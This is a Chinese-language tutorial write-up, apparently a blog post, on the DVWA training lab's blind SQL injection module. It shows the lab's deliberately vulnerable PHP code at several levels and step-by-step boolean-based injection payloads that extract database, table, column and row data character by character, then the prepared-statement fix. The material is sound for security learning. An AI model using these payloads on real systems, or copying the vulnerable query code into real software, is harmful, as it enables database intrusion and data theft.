web基础—dvwa靶场（八）SQL Injection(Blind)

SQL Injection(Blind)（SQL注入之盲注）

SQL Injection(Blind)，SQL盲注，相比于常规的SQL注入，他不会将返回具体的数据信息或语法信息，只会将服务器包装后的信息返回到页面中。

常规SQL注入与SQL盲注详细对比

SQL注入	1.执行SQL注入攻击时，服务器会响应来自数据库服务器的错误信息，信息提示SQL语法不正确等。 2.一般在页面上直接就会显示执行sql语句的结果。
SQL盲注	1.一般情况，执行SQL盲注，服务器不会直接返回具体的数据库错误or语法错误，而是会返回程序开发所设置的特定信息（也有特例，如基于报错的盲注） 2.一般在页面上不会直接显示sql执行的结果 3.有可能出现不确定sql是否执行的情况

（参考：h布尔盲注

布尔盲注与时间盲注对比

布尔盲注

可通过构造真or假判断条件（数据库各项信息取值的大小比较，如：字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...），将构造的sql语句提交到服务器，然后根据服务器对不同的请求返回不同的页面结果（True、False）；然后不断调整判断条件中的数值以逼近真实值，特别是需要关注响应从True<-->False发生变化的转折点。

时间盲注

　　通过构造真or假判断条件的sql语句，且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求，观察服务器响应结果是否会执行所设置时间的延迟响应，以此来判断所构造条件的真or假（若执行sleep延迟，则表示当前设置的判断条件为真）；然后不断调整判断条件中的数值以逼近真实值，最终确定具体的数值大小or名称拼写。

SQL盲注流程

1.判断是否存在注入，注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息：版本、用户…

SQL盲注主题：

Low

源码解析

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the databaseif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

漏洞复现

　　对传参没有进行任何检查、过滤，返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种

（1）首先找到注入点，判断注入的类型

1
1 \
1' #  猜闭合方式

（2）查找库名（以数据库名的第一个字母为例）（最终查到的库名：root）

1' and (select ascii(substr(database(),1,1)) > 111) #
1' and (select ascii(substr(database(),1,1)) > 120) #
1' and (select ascii(substr(database(),1,1)) > 115) #
1' and (select ascii(substr(database(),1,1)) > 113) #
1' and (select ascii(substr(database(),1,1)) = 114) #

（3）查找表名（以数据库的第一个表的第一个字母为例）（最终查到的表名：guestbook）

1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 110) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 105) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 103) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 102) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #

（4）查找表中的第一个字段名（以数据库中第一个表的第一个字段为例）（最终查到的列名：comment_id）

1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 90) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 95) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 98) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 99) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 100) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #

（5）查找数据库中第一个表中第一个字段中的第一个数据的第一个字母（最终查到的数据：1）

1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 50) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 30) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 40) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 45) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 48) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

　　剩余的数据就不在一个一个具体的查找了，就按照这种方法，可以一个个的将数据全部查找出来。

Medium

源码解析

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$id = $_POST[ 'id' ];
//对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Check database$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close();
}?>

漏洞复现

Medium级别的代码利用mysql_real_escape_string函数对特殊符号 \x00,\n,\r,,’,”,\x1a 进行转义，同时前端页面设置了下拉选择表单，希望以此来控制用户的输入。

和普通的SQL注入方式差不多，只是需要BP来抓包修改参数值

参考Low级别过程和[web基础—dvwa靶场（七）SQL Injection-CSDN博客] 中的Medium级别过程

1 #
1 and (select ascii(substr(database(),1,1)) = 114) #
1 and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1 and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1 and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

High

源码解析

<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database
//limit限制查询只能为1条$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysqli_num_rows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {
//返回MISSING时，会随机执行sleep()函数，做执行，则延迟的时间是随机在2-4s// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

漏洞复现

　　对于LIMIT 1的限制输出记录数目，可以利用#注释其限制；服务端可能会随机执行sleep()函数，做执行，则延迟的时间是随机在2-4s，这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。

　　可以参考Low级别的代码:

1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

Impossible

源码解析

<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF token
//使用token机制checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?
//对输入的id进行是否为数字的判断if(is_numeric( $id )) {// Check the database
//使用limit对查询的结果进行限制$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();// Get resultsif( $data->rowCount() == 1 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}}
}// Generate Anti-CSRF token
generateSessionToken();?>

漏洞复现

impossible.php代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入
只有当返回的查询结果数量为一个记录时，才会成功输出，这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串，满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性，session_token是随机生成的动态值，每次向服务器请求，客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证，相互匹配才会验证通过